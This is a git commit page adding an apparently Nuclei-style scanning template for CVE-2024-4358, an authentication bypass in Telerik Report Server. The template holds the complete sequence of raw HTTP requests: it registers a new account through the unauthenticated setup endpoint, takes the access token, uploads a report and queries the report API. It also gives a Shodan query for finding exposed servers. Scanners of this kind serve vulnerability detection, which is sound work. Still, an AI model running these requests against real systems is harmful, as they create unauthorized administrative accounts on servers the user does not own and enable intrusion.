Create CVE-2024-4358.yaml
parent
10e92b1204
commit
5addd1de0e
|
@ -0,0 +1,87 @@
|
||||||
|
id: CVE-2024-4358
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: Telerik Report Server - Authentication Bypass
|
||||||
|
author: DhiyaneshDK
|
||||||
|
severity: critical
|
||||||
|
description: |
|
||||||
|
In Progress Telerik Report Server, version 2024 Q1 (10.0.24.305) or earlier, on IIS, an unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.
|
||||||
|
reference:
|
||||||
|
- https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/
|
||||||
|
- https://github.com/sinsinology/CVE-2024-4358
|
||||||
|
metadata:
|
||||||
|
shodan-query: "Log in | Telerik Report Server"
|
||||||
|
tags: cve,cve2024,telerik,progress,auth-bypass
|
||||||
|
|
||||||
|
variables:
|
||||||
|
user: "{{rand_base(6)}}"
|
||||||
|
pass: "{{rand_base(8)}}"
|
||||||
|
email: "{{randstr}}@{{rand_base(5)}}.com"
|
||||||
|
firstname: "{{rand_base(5)}}"
|
||||||
|
lastname: "{{rand_base(5)}}"
|
||||||
|
report: "{{to_lower(rand_text_alpha(8))}}"
|
||||||
|
|
||||||
|
content: {{}} ##To Be Added
|
||||||
|
|
||||||
|
http:
|
||||||
|
- raw:
|
||||||
|
- |
|
||||||
|
POST /Startup/Register HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
Username={{user}}&Password={{pass}}&ConfirmPassword={{pass}}&Email={{email}}&FirstName={{firstname}}&LastName={{lastname}}
|
||||||
|
|
||||||
|
- |
|
||||||
|
POST /Token HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
grant_type=password&username={{user}}&password={{pass}}
|
||||||
|
|
||||||
|
- |
|
||||||
|
POST /api/reportserver/report HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Authorization: Bearer {{token}}
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{"reportName": "{{report}}", "categoryName": "Samples", "description": null, "reportContent": "{{content}}", "extension": ".trdp"}
|
||||||
|
|
||||||
|
- |
|
||||||
|
POST /api/reports/clients HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{"timeStamp": null}
|
||||||
|
|
||||||
|
- |
|
||||||
|
POST /api/reports/clients/{{clientid}}/parameters HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{"report": "NAME/Samples/{{report}}/", "parameterValues": {}}
|
||||||
|
|
||||||
|
matchers:
|
||||||
|
- type: dsl
|
||||||
|
dsl:
|
||||||
|
- 'contains(content_type_2, "application/json")'
|
||||||
|
- 'contains(body_2, "access_token") && contains(body_4, "clientId") && contains(body_5, "message")'
|
||||||
|
- 'status_code_2 == 200'
|
||||||
|
condition: and
|
||||||
|
|
||||||
|
extractors:
|
||||||
|
- type: regex
|
||||||
|
name: token
|
||||||
|
part: body_2
|
||||||
|
group: 1
|
||||||
|
regex:
|
||||||
|
- '"access_token":"([A-Z0-9a-z_-]+)"'
|
||||||
|
internal: true
|
||||||
|
|
||||||
|
- type: regex
|
||||||
|
name: clientid
|
||||||
|
part: body_4
|
||||||
|
group: 1
|
||||||
|
regex:
|
||||||
|
- '"clientId":"([a-z0-9]+)"'
|
||||||
|
internal: true
|
Loading…
Reference in New Issue